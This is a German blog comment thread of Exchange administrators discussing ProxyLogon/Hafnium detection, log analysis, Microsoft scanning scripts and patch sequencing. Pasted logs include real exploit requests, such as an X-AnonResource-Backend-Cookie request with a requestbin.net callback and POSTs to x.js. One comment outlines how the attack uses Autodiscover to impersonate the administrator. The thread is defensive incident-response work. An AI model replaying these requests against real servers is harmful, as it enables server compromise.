        2021-03-03T05:07:21.199Z,b58c33aa-83d0-4265-afda-355aeca1dda4,15,0,1497,10,,Negotiate,true,NT-AUTORITÄT\SYSTEM,,ExchangeServicesClient/0.0.0.0,86.105.18.116,server,server.domain.int,POX,200,500,0,0,1,,,,,GlobalThrottlingPolicy_4093cff6-bf34-4a54-90b6-d19706479c79,,,50,5,0,5,3,,72,ADSessionSettingsFromAddress=0;ADRecipientSessionFindBySid=0;Caller=null;ResolveMethod=Unknown;RequestedRecipient=null;RequestedUser=administrator@domain.com;S:ServiceCommonMetadata.RequestSize=348;S:WLM.Bal=300000;S:WLM.BT=Ews;S:BudgetMetadata.MaxConn=27;S:BudgetMetadata.MaxBurst=300000;S:BudgetMetadata.BeginBalance=300000;S:BudgetMetadata.Cutoff=3000000;S:BudgetMetadata.RechargeRate=900000;S:BudgetMetadata.IsServiceAct=False;S:BudgetMetadata.LiveTime=00:00:00;S:BudgetMetadata.EndBalance=300000;Dbl:WLM.TS=72;I32:ATE.C[dc01.domain.int]=1;F:ATE.AL[dc01.domain.int]=0;I32:ATE.C[dc02.domain.int]=1;F:ATE.AL[dc02.domain.int]=0;I32:ADS.C[dc02]=1;F:ADS.AL[dc02]=2.3456;I32:ADS.C[dc03]=2;F:ADS.AL[dc03]=3.65115;I32:ADS.C[dc01]=1;F:ADS.AL[dc01]=3.2008,,message=Die E-Mail-Adresse wurde nicht gefunden.;,

        Und in den Logs des inetpub ist zu sehen:
        2021-03-03 05:07:20 1.2.3.4 POST /ecp/y.js &CorrelationID=;&ClientId=QMSWZWOHW0ADVRAXVBRXVA&cafeReqId=b58c33aa-83d0-4265-afda-355aeca1dda4; 443 – 86.105.18.116 ExchangeServicesClient/0.0.0.0 – 200 0 0 734

        Ich finde bei mir aber nirgendwo die Phyton Requests.
        Die anderen Checks auf Webshells und mittels MSERT waren bei mir sauber.

        Gruß Marco

        Antworten
        • Moin Marco,

          wie Powershell wie folgt:

          PS C:\Windows\system32> cd C:\inetpub\logs\LogFiles\W3SVC1\
          PS C:\inetpub\logs\LogFiles\W3SVC1> Get-Content .\*.log | Select-String „python“

          VG Seb

        • Hi Marco,

          wichtig ist das „Die E-Mail-Adresse wurde nicht gefunden“ in deinen Logs steht.

          Das bedeutet, dass die euer Administrator Konto nicht anhand seiner Email identifizieren konnten.

          Ich gehe davon aus, dass du die hier gezeigten Logs editiert hast und diese Administrator@euredomain.com zeigten?

          Da könntet ihr vielleicht groß Dussel gehabt haben und der Exploit ist nicht gelungen.

          Das würde auch erklären warum du keine Webshells oder so gefunden hast.

          Gruß

          Alex

      • Ich muss hier etwas zu meinem vorherigen Post klarstellen.

        Mittlerweile ist bekannt, dass es keine x.js oder y.js Dateien gegeben hat, sondern das diese als Teil einer fiktiven Url waren, welche benutzt wurde um den Exploit auszuführen. An einer bestimmten Stelle im Exploit brauchen die Angreifer eine fiktive URL um den Payload rein zu bekommen und da haben die Angreifer eben fiktive Urls mit x.js oder y.js als Dateienamen in den URLs benutzt.

        Das Vorgehen wurde auch von Praetorian beschrieben siehe hier: https://www.praetorian.com/blog/reproducing-proxylogon-exploit/

        Antworten
  41. Guten Morgen,

    ich habe auch noch eine Frage.
    Ich habe den Test über Test-ProxyLogon.ps1 gemacht und war glücklicherweise nicht betroffen. Muss ich die anderen Scripts auch noch laufen lassen oder sind diese in Test-ProxyLogon.ps1 enthalten? So wie ich es verstanden habe waren diese integriert und ich musste nur dieses Script ausführen.

    Ich danke euch!

    Antworten
  42. Hallo zusammen,

    danke für die Zusammenfassung. War echt Hilfreich.
    Wir sind von einem älteren Stand direkt auf des neuste CU gesprungen.
    Im Einsatz ein Exchange 2013 älteres CU. Bei uns hat folgendes sehr gut funktioniert

    1. „VC++RedistributablePackageforVisualStudio2013“ installieren > als Admin ausführen!
    2. Alle Exchange Dienste > Screenshot machen wg. Starttyp! > Dienste stoppen und Starttyp „Deaktiviert“ einstellen
    3. .NET Framework 4.8 installieren > als Admin ausführen!
    4. Server neu starten
    5. Alle Exchange Dienste > Starttyp wieder korrekt einstellen lt. Screenshot aber beendet lassen!
    6. CU23 installieren > als Admin ausführen!
    7. Server neu starten
    8. Alle Dienste und Funktionen prüfen
    9. Patch KB 5000871
    10 Server neu starten
    11. Alle Dienste und Funktionen prüfen

    Dauer des ganzen ca. 2 Stunden

    Davor geschaltet haben wir eine Sophos mit WAF. Konfiguriert nach der Anleitung hier im Forum. Hat sofort wieder funktioniert. Danke dafür.

    Grüß

    Antworten
        • Gut Morgen,

          vielen Dank für Deinen Link zur Anweisung WAF. Ich habe unsere Sophos auch so konfiguriert. Es läuft. Aber ich habe ein Probelm bem Anlegen bzw. aktivieren der beiden virtuellen Webserver. Stefan Haßlinger schreibt, dass bei der Anlage der virtuellen Webserver alle externen DNS Namen aktiviert werden sollen. Diese ergeben sich ja aus dem Zertifikat des Exchange Servers.

          Ich abe in meinem Zertifikat 2 DNS Namen, die ich mal nach einer Konfigurationsanleitung hier bei Frankys erstellt habe. autodiscover.tld.de und mail.tld.de

          Ich kann aber nur einen virtuellen Server aktivieren, wenn ich beide DNS Namen angehakt habe.
          Ich hab mir jetzt so geholfen, indem ich für Exchange-OWA-ActiveSync-Anywhere die DNS „mail.tld.de“
          und für Exchange-Autodiscover „autodiscover.tld.de“ ausgewählt habe. Dann kann ich beide virtuelen Webserver aktivieren. Sonst meckert die Sophos, das der eine Server schon beid DNS Namen benutzt.

          Hatte das Problem auch jemand?

          Beste Grüße und ein stressfreies We.

          Dirk

  43. hab es nur flüchtig gelesen. Dabei ist mir aufgefallen: BackendCookieMitigation.ps1 ist kein Suchtool für Infektionen sondern ein quickfix bis zum patch.

    Antworten
  44. eine Frage an jene die Tasks in der Windows Aufgabenplanungsbibliothek gefunden haben: unter welchem Ordner sollen die sein? Ich finde da keine verdächtigen aktiven Tasks.

    Antworten
    • Get-ScheduledTask | Where-Object { $_.TaskName -eq ’sync‘ -or $_.TaskName -eq ‚winnet‘ } | Get-ScheduledTaskInfo

      Damit kannst du nach den Tasks suchen.

      Antworten
  45. Wer bei der CompareExchangeHashes.ps1 auch keine Output file bekommt wie bei uns, es gibt erneut eine aktualisierte Version. Ganz ehrlich, die Fehlersuche bei MS ist wohl ebenso fehlerhaft, wie die Programme an sich :D

    Three times a charm…

    Antworten
  46. So, das Skipt ist bei uns durch nach etlichen Stunden.

    „Comparison complete. Writing results.“

    Exported results to C:\user\xxxxxxx\Desktop\15.1.2176.2_result.xml

    In rot „Done! Errors occured during comparison, please inspect the result file“.

    Wir haben eine 960 MB große Datei. Hat jemand ähnliche Erfahrung?

    Antworten
    • Hi,
      bei mir läuft das Skript seit heute morgen um 6:45 Uhr (in der zu der Zeit aktuellen Version). Davor lief es 2-3 mal mit einem nur 700 MB großen Datei und demselben Fehler, wobei in der Datei jede analysierte Daten als geändert aufgeführt wurde. Das erscheint mir dann doch etwas viel… bei rund 800.000 Zeilen…
      Bin gespannt, wann die aktuelle Version mal fertig wird.

      Antworten
      • Also ich komme mit dem Script auch nicht weiter. Jetzt das dritte durchgelaufen und jetzt bekomme ich diesen Fehler

        Fehler beim Öffnen der Remotesitzung mit einem unerwarteten Zustand. Zustand Broken.
        In G:\CompareExchangeHashes.ps1:481 Zeichen:13
        + $res = Receive-Job $job.ID
        + ~~~~~~~~~~~~~~~~~~~~~~~~~~
        + CategoryInfo : OpenError: (localhost:String) [], RuntimeException
        + FullyQualifiedErrorId : PSSessionStateBroken

        Ich glaube ich geb’s einfach auf. Dieses Script scheint zu nichts zu führen. Unsere Emails sind jetzt eh nur noch per VPN erreichbar. Konnte die Chefetage zum Umdenken bewegen.

        Antworten
        • Das neue Script scheint zu funktionieren und läuft auch viel schneller durch. Angeblich wurde was gefunden, aber wie schon von Alex bemerkt, werde ich da nicht wirklich schlau aus diesen „Fünden“. Auch irgendwie bedenklich, dass man einfach so seine Daten jetzt an Microsoft senden soll. Ich wäre da echt über mehr Transparenz seitens MS dankbar :/

      • Hallo Zusammen,

        bei mir ist das auch durchgelaufen und ich hab nun eine 4 MB große CSV… was mir allerdings auffällt, es sind meist Dateien aus den vergangenen Jahren die angemeckert werden… Sprich vom letzten Änderungsdatum her.

        MSERT war soweit sauber, wie auch weitere PS Skripte zum detektieren…

        Mal die Tage nochmal laufen lassen…

        Antworten
  47. Ich will mein System weiterhin absichern. Hierzu würde ich gerne den Microsoft Exchange Unified Messaging service deaktivieren (also die zwei UM Dienste). Ein „offiziellen“ Weg für 2016 habe ich nicht gefunden, lediglich für 2010 existiert ein Befehl „Disable-UMService“. Hat die Deaktivierung der beiden UM Dienste negative Auswirkungen auf die Exchange Installation? Hat jemand Erfahrung damit?

    Antworten
  48. Ich habe eine Frage, habe Exchange 2016 CU18 und hatte den Patch direkt bei Erscheinen installiert.
    Nach gründlicher Prüfung konnte ich keine Angriffe feststellen, soweit alles gut.
    Wie sieht es jetzt aus, wenn ich auf CU19 update, muss ich danach das Sicherheitsupdate wieder installieren, oder bleibt das erhalten?

    mfg

    Antworten
  49. Hallo,

    ich habe die CompareExchangeHashes in der aktuellen Version jetzt durch. In den älteren Versionen sind auch immer Reports von beachtlicher Größe entstanden. Nun ist die csv nur 1kb groß.

    Es wird nur die web.config unter C:\inetpub\wwwroot als „Suspicius“ und dem Hashwert angezeigt.
    Was ich allerdings seltsam finde, ist das diese Version der Datei erst nach dem Update am 8.3. auf Exchange2016 CU19 und dem Hotfix geändert wurde. Es muss ja bei der Installation passiert sein, weil auch ein .bak der Datei im Verzeichnis liegt.

    Alle anderen Tools von MS wie z.B. das MSERT.exe haben keine Auffälligkeiten gezeigt.

    Kann das jemand erklären, oder hat Hinweise?

    Weiterhin allen viel Erfolg bei der Schadensbegrenzung.

    Grüße Dirk

    Antworten
    • Hier das Selbe. Alle Funde sind zu 99% aus dem Jahr 2018/2019. Wenn Hafnium da schon um sich gegriffen hat dann gute Nacht. Die anderen aus 2020 wurden von mir wissentlich persönlich abgeändert wie zum Beispiel die logon.css wegen eigenem OWA Design. Ich habe auch extra nochmal alle aktualisierten Scripts durch laufen lassen. Nach wie vor keine Gefahr gefunden. Vielleicht bin ich naiv, aber ich denke wir sind glücklich davon gekommen.

      Antworten
      • Ich habe jetzt die aktuelle Versiom MSERT 1.333.174.0 laufen lassen. Das Tool hat dann angeblich 7 Infizierte Datein gefunden.

        Am Ende des Durchgangs steht dann aber, dass keine Funde vorhanden sind. Im Log sind keine infizierten Dateien vorhanden.

        Lasse ich das Tool nochmals laufen, bekomme ich gleiche Ergenisse. Angeblich dann auch mal 9 Infizierte Dateien und am Ende keine Infektion. Auch keine Funde im Log.

        Unser Kaspersky Mailscanner und Kspersky AV für Server in der aktuellen Version und Updates sagt das alles sauber ist.

        Also Kaspersky vertrau ich da irgendwie mehr…..

        Weiterhin viel Erfolg allen.

        Grüße

        Antworten
        • Hallo Dirk,

          bei mir das Gleiche:
          auf einem DC 2012R2 auf dem außer dem AD nichts ist, findet MSERT V 1.333.160.0 5 infizierte Dateien und beendet ohne Angebot der Vorschau der Bösewichter mit grün und „nichts gefunden“. Im Log gestern:

          Results Summary:
          —————-
          No infection found.
          Successfully Submitted Heartbeat Report
          Microsoft Safety Scanner Finished On Thu Mar 11 10:40:17 2021

          Return code: 0 (0x0)

          Auch bei nochmaligem Durchlauf dasselbe.

          Heute lasse ich Vers. 1.333.233.0 laufen, wieder 5 angeblich infizierte Dateien und nun warte ich noch aufs Ergebnis, das ich später posten werde.

          Gruß
          heiner

        • …und inzwischen ist MSERT fertig: Wieder grün, nichts gefunden und 0x0 im Log.
          Ich ließ gestern dann auch mal den ESET Online scanner drüber laufen – der fand nichts.

    • Hallo Dirk,
      auch bei mir wurde die web.config als „Suspicius“ angezeigt. Das Datum der Datei ist der Installationszeitpunkt von CU19. Ich habe mal den Inhalt der Datei mit der web.config.bak vom 19.11.2020 verglichen. Entwarnung – der einzige Unterschied ist die Zeile „“ in web.config gegenüber „“ in web.config.bak.

      Antworten
      • Zeile mit Link wurde in meinem Posting entfernt. Also der Unterschied ist im web.config ist das Installationsverzeichnis als absoluter Pfad angegeben und in web.config.bak mit einer Umgebungsvariable „ExchangeInstallDir“. Ansonsten konnte ich in der web.conf nichts auffälliges finden.

        Antworten
  50. Zieht MSERT eigentlich immer die aktuellen Signaturen oder muss man die Anwendung aktualisieren, wenn man im Abstand von einigen Tagen erneute Scan mit aktualisierten Signaturen durchführen will?

    Antworten
  51. Hallo in die Runde,

    auch wird haben in der *-CVE-2021-26855.csv zwei Einträge mit HttpStatus 500. MSERT zeigt aber nichts weiteres an.

    Hab ich Glück, wenn Exchange nicht im Standardpfad installiert wurde ? Ich meine das hier irgendwo gelesen zu haben.
    Vielen Dank für Euer Feedback

    Antworten
    • Hast du Einträge für die Autodiscover?

      HttpStatus 500 bei ECP? Bei RPC ?bei OWA? bei OAB? Hast du POSTS mit Status 200?

      das Tool von Microsoft findet nicht alles… bei uns waren nur die Autodiscover Einträge drin. Aber wir hatten etliche GET und POST in das /ECP/ Verzeichnis, was der Versuch der Ausnutzung der RCE für ECP darstellt. Also am besten selber die Logs vom IIS durchforsten… schau mal nach „python“ als requester. und nach x.js oder y.js oder program.js als POST.

      Ein 500er kann entstehen nachdem der Server gepatcht wurde. Ist bei uns einmalig der Fall gewesen bevor wir ECP / RPC / OWA /OAB vom Internet abgeschirmt haben.

      Wichtig sind die Rewrite Regeln für den IIS die diese präparierten Abfragen blockieren… die Regeln fangen die 26855 ab und verhindern schlimmeres. Laut einigen Sicherheitsforschen ist es sogar die beste Lösung wenn der Server nicht gepatcht werden kann und weiterhin erreichbar ist.

      Ob eine Abweichung vom Standardpfad geholfen hat ist schwer zu sagen. Diese Aussage bezieht sich wahrscheinlich auf den Test von Frank mittels dem bei Github aufgetauchten Skript der die Schwachstelle ausnutzen soll.

      Das will aber nicht viel sagen, weil wir ja nicht wissen wie die anderen Angreifer ihre Skripte geschrieben haben. Die werden wahrscheinlich nicht so wie bei Github einen festen Pfad angegeben haben, sondern sehr wahrscheinlich relative Pfade mit den Exchange Variablen… soviel Können ist denen zuzutrauen wenn man sieht mit welchen Akteuren man es zu tun hat. Das sind keine Anfänger die diese Angriffe gefahren haben.

      Es gibt auch erste Rechercheteams die Reverse Engineering vom Patch von Microsoft gemacht haben. Das gibt einige Informationen wo die Schwachstellen genau sind und wie diese ausgenutzt werden können. Beispielsweise wird der Abruf der Autodiscover benutzt um das Administratorkonto für den Exchange / Domain zu finden. Gibt Autodiscover eine positive Antwort zurück, dann wars das, dann kann der Angriff komplett durchlaufen. Findet der Angreifer nicht das Adminstratorkonto so kann der Angriff wohl nicht zu Ende gebracht werden, weil er den Administrator nicht impersonieren kann um danach als SYSTEM User zu enden.

      Gruß

      Alex

      Antworten
  52. Hi,
    wir hatten einen betroffenen Server bei dem das Test-ProxyLogon Script überhaupt angeschlagen hat. Alle anderen Exchange wurden mit dem Script in 3 Versionen (08.03,14.03.,16.03) geprüft und haben keine Funde, Ebenso keine Meldungen über den Safety Scanner und keine Anzeichen bei einer Sichtprüfung der Logs und aller bekannten Webshell Verzeichnisse.
    Aber bei einem Server gab es wie gesagt Meldungen. Dort habe ich Einträge der Form:
    /owa/auth/x.js“,“X-AnonResource-Backend-Cookie“,“Mozilla/5.0 zgrab/0.x“,“ServerInfo~localhost/ecp/default.flt?“,“500″
    die aber ja von Microsoft mittlerweile ausgeklammert werden.
    Es gibt lediglich einen Eintrag der anders ist, zu dem ich aber nichts finde:
    „/owa/auth/x.js“,“X-AnonResource-Backend-Cookie“,“Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55″,“ServerInfo~.82a595b7c3182062c44a.d.requestbin.net/ecp/default.flt?“,“302″

    Zum gleichen Zeitpunkt taucht eine „UriFormatException“ (ASP.NET Error 1309) im Log auf:
    Request information:
    Event code: 3005
    Event message: Es ist eine unbehandelte Ausnahme aufgetreten.
    Event time: 06.03.2021 09:59:32
    Event time (UTC): 06.03.2021 08:59:32
    Event ID: 2eda501ae79e48d887593bc6344f0f56
    Event sequence: 2
    Event occurrence: 1
    Event detail code: 0

    Application information:
    Application domain: /LM/W3SVC/1/ROOT/owa-2-132591030009503223
    Trust level: Full
    Application Virtual Path: /owa
    Application Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\
    Machine name: „Unser Servername“

    Process information:
    Process ID: 25596
    Process name: w3wp.exe
    Account name: NT-AUTORITÄT\SYSTEM

    Exception information:
    Exception type: UriFormatException
    Exception message: Ungültiger URI: Der Hostname konnte nicht analysiert werden.
    bei System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind)
    bei System.UriBuilder.get_Uri()
    bei Microsoft.Exchange.HttpProxy.ProxyRequestHandler.GetTargetBackEndServerUrl()
    bei Microsoft.Exchange.HttpProxy.ProxyRequestHandler.b__172_0()
    bei Microsoft.Exchange.Common.IL.ILUtil.DoTryFilterCatch(Action tryDelegate, Func`2 filterDelegate, Action`1 catchDelegate)
    bei Microsoft.Exchange.HttpProxy.ProxyRequestHandler.CallThreadEntranceMethod(Action method)

    Request information:
    Request URL: https://„unsere öffentliche IP“:443/owa/auth/x.js
    Request path: /owa/auth/x.js
    User host address: 34.87.189.145
    User:
    Is authenticated: False
    Authentication Type:
    Thread account name: NT-AUTORITÄT\SYSTEM

    Thread information:
    Thread ID: 21
    Thread account name: NT-AUTORITÄT\SYSTEM
    Is impersonating: False
    Stack trace: bei System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind)
    bei System.UriBuilder.get_Uri()
    bei Microsoft.Exchange.HttpProxy.ProxyRequestHandler.GetTargetBackEndServerUrl()
    bei Microsoft.Exchange.HttpProxy.ProxyRequestHandler.b__172_0()
    bei Microsoft.Exchange.Common.IL.ILUtil.DoTryFilterCatch(Action tryDelegate, Func`2 filterDelegate, Action`1 catchDelegate)
    bei Microsoft.Exchange.HttpProxy.ProxyRequestHandler.CallThreadEntranceMethod(Action method)

    Ich habe alle Logs zu diesem Zeitpunkt durchgeschaut, danach ist nichts mehr passiert.
    Alle erdenklichen Tests habe ich auf dem Server gemacht:
    – mehrfach mit Safety Scanner geprüft
    – nach geänderten Dateien gesucht
    – manuell nach Webshells gesucht und die Inhalte der vorhandenen .aspx Dateien geprüft( auf Veränderungen die den bisher bekannten Mustern der Hacker folgte)
    – Thor Lite dreimal laufen lassen
    – Das Cert-LV Webshell Detection Script ausgeführt

    usw.
    Ich habe alle möglichen Hinweise auf Kompromittierung geprüft z.B. mich an Listen wie https://blueteamblog.com/microsoft-exchange-zero-days-mitigations-and-detections langehangelt etc.
    Ich kann nichts finden und finde nirgendwo Informationen was dieser Eintrag zu sagen hat.
    Kann mich jemand dazu aufklären, oder hat jemand etwas Ähnliches?

    Viele Grüße

    Thomas

    Antworten
    • Hallo Thomas,

      Die Einträge zu „/owa/auth/x.js“ findet das Tool von Microsoft auch nicht. Wir hatten dasselbe Problem. Wir hatten laut dem Tool von Microsoft nur Einträge in der Autodiscover.

      Das erste „/owa/auth/x.js“,“X-AnonResource-Backend-Cookie“,“Mozilla/5.0 zgrab/0.x“,“ServerInfo~localhost/ecp/default.flt?“,“500″“ deutet auch einen 500er Fehler hin. War zu diesem Zeitpnuk der Server schon gepatcht worden?

      Das zweite „„/owa/auth/x.js“,“X-AnonResource-Backend-Cookie“,“Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55″,“ServerInfo~.82a595b7c3182062c44a.d.requestbin.net/ecp/default.flt?“,“302″“ deutet darauf hin, dass die Angreifer es erneut probiert haben und versucht haben eine Webshell in den Externen Url Platzhalter für das OWA Verzeichnis zu setzen.

      Wurde das OWA Verzeichnis bei euch neu gesetzt?

      Gruß

      Alex

      Antworten
      • Hi Alex,
        danke für deine Antwort.
        Der Server war zu dem Zeitpunkt noch nicht gepatcht. Ich habe die Logs manuell durchgeschaut zu jedem Zeitpunkt an dem ein 500er Fehler geworfen wurde. Es ist danach tatsächlich nichts mehr passiert. Es gab auch keine verdächtigen Autodiscover Einträge, das OWA Verzeichnis wurde nicht neu gesetzt, noch wurde laut Protokollen der Versuch unternommen.
        Ich habe gerade nochmal händisch die Logs unter logging/http-proxy durchgeschaut sowie logging/ecp.
        Dort finden sich keine weiteren Aktionen. Nach diesem

        „„/owa/auth/x.js“,“X-AnonResource-Backend-Cookie“,“Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55″,“ServerInfo~.82a595b7c3182062c44a.d.requestbin.net/ecp/default.flt?“,“302

        passiert einfach nichts mehr. Als nächstes kommen HealthMailbox Einträge und User loggen sich ein (war um 09:00).
        Das merkwürdige ist, dass ich nicht viel zu diesem Eintrag finde.
        Der Eintrag ist unter Logging\HttpProxy\Owa und endet mit der vorher erwähnten Exception die durch den Aufruf ausgelöst wurde. Wenn ich https://www.praetorian.com/blog/reproducing-proxylogon-exploit/ richtig verstehe, hätten als nächstes Autodiscover Einträge auftauchen müssen oder irgendwie anders hätte man versuchen müssen Kontrolle über einen Dienst zu erlangen. Da ist aber nichts passiert. War es ein erfolgloser Versuch und hat man sich das System für später vorgemerkt? War es evtl. eine nicht gut ausgearbeitete Routine.
        Wenn ich mich auf die reinen Infos verlasse die bisherige Kompromittierungen identifizieren, dann ist das System clean. Da wirklich bisher jeder Test sagt es ist alles ok, lediglich das Microsoft Test Skript findet (Stand gestern) diesen Eintrag. Stand 14.03 hat das Skript den Eintrag übrigens ignoriert.
        Das macht einen wirklich verrückt, vermutlich bin ich aber nicht der Einzige auf der Welt der momentan dem Wahnsinn verfällt.

        Antworten
  53. Hallo zusammen,

    alle die KB000871 auf eine ältere CU installiert haben und dann bei der Gelegenheit gleich auf das aktuelle CU upgraden, sollten anschliesend umgehend das Sicherheitsupdate für die nun aktualisierte Version nachziehen. Nach Installation des CU8 für Exchange2019 war mein Server, der zuvor gepatched wurde, erneut kompromitiert worden.

    Antworten
  54. Um das alles nachvollziehen zu können haben wir:
    Exchange 2016 CU12
    die KB5000871 v. 12.03.2021 installiert und sind jetzt beim Schritt CU20.

    und erhalten den Fehler:
    „Der Upgradepatch kann vom Windows Installer-Dienst nicht installiert werden, weil das Programm, das atualisiert werden soll, möglicherw. fehlt, oder weil der UGPatch eine andere Version des Programms aktualisieren würde. Stellen Sie sicher, dass das zu aktualisierende Programm auf dem Computer installiert ist, und dass Sie den richtigen Upgr.patch installieren.“

    Wir haben genommen: Kumulatives Update 20 für Exchange Server 2016 (KB4602569)

    Beim Rücklesen gehe ich davon aus, dass es von 12 auf 20 kein Problem ist?
    Oder haben wir einen Dienst zu viel gestoppt? Oder zu wenig?
    Mittlerweile sind so viele gute Ratschläge für die Vorgehendweise unterwegs….cmd als admin, nicht doppelkl., nicht shell
    exch* Dienste deakt./stoppt, vorher Neustart.

    Woran kann das liegen?

    Vielen Dank
    Dinges Zeug

    Antworten
      • N´Abend Dinges,

        ein Sprung von 8 CUs sollte man nicht so leichtfertig ausprobieren. Deshalb hat dir bis jetzt wahrscheinlich auch keiner geantwortet.

        Mal einen Blick auf die Support Matrix geworden? https://docs.microsoft.com/en-us/exchange/plan-and-deploy/supportability-matrix?view=exchserver-2016

        Exchange 2016 CU12 läuft nur mit .Net 4.7.1 oder 4.7.2

        Exchange 2016 CU20 läuft nur mit .Net 4.8

        Alleine das macht ein Sprung von CU12 auf CU20 waghalsig.

        Woher du das hast, dass von 12 auf 20 kein Problem sein soll ist schleierhaft.

        Besser erstmal auf CU13 oder CU14 zu gehen. Dann .Net 4.8 installieren. Prüfen, dass alles weiterhin läuft. Danach kann der Versuch unternommen werden auf CU20 zu gehen. Aber selbst da könnten weitere Probleme blühen weil MS einiges in den CUs geändert hat. Also Sprung auf CU16, dann CU18 und dann CU20 wäre sicherer. MS unterstützt ja immer nur die beiden letzten CUs.

        Wenn eine Firma noch Exchange 2016 CU12 in 2021 einsetzt, dann sollte die Frage gestellt werden ob es nicht besser wäre zu Exchange Online in die Cloud zu wechseln.

        Exchange vor Ort sollte immer aktuell gehalten werden. Wer das nicht bewerkstelligen kann, der sollte in die Cloud gehen, wo die Aktualisierung dann dem Cloud Anbieter obliegt.

        Spätestens seit den Angriffen in Februar / März sollte jedem bewusst sein welches Risiko veraltete Exchange Installationen bergen. Erstmal keine Sicherheitspatches. Wer nicht auf CU18 0der Cu19 war, der schaute in die Röhre. Und wer nicht binnen 24 / 48 Stunden patchen konnte, der wurde erbarmungslos infiziert. In den ersten 24 / 48 Stunden funktionierten die Angreiferskripte mancher Parteien noch nicht immer genau wie wir heute wissen. Aber danach waren diese soweit angepasst, dass die Angriffe durch-gingen.

        Blogs wie der von Franky sind kein Ersatz für eine vernünftige Betreuung in Sachen IT, besonders wenn es um Exchange geht. Holt euch also kundige Hilfe anstelle im Blog Fragen zu Posten, welche darauf schließen lassen, dass ihr euch mit dem Thema bisher nicht oder sehr unzureichend beschäftigt habt.

        Antworten
        • Hi Alex,
          danke für deine Antwort. Wir wollten hier das Hafnium Desaster einfach nachstellen. Der Exchange, den ich hier beschreibe läuft nicht produktiv. Da sich die aktuelle Situation (April) schon wieder geändert hat, gibt mir recht, das hier mal ausführlich und grundlegend testen (zu lassen). Unsere 2 Azubis sind hier schwer am werkeln.

          Danke nochmal, dann gehen wir den 2-er Schritt bis nach oben.
          PS. dass man von klein auf gleich CU20 kann, stand sogar hier iwo in einem Kommentar und wurde mehrfach bestätigt. Wo weiß ich leider nicht mehr.

          Gruß
          DINGES

        • PPS. Eigentlich sind wir hier schon eher Profis in Exchange. Also ruhig Blut – kein Grund gleich auf „sachkundige“ Hilfe holen und „überlasst das den Profis“ einzugehen.
          Danke trotzdem

Schreibe einen Kommentar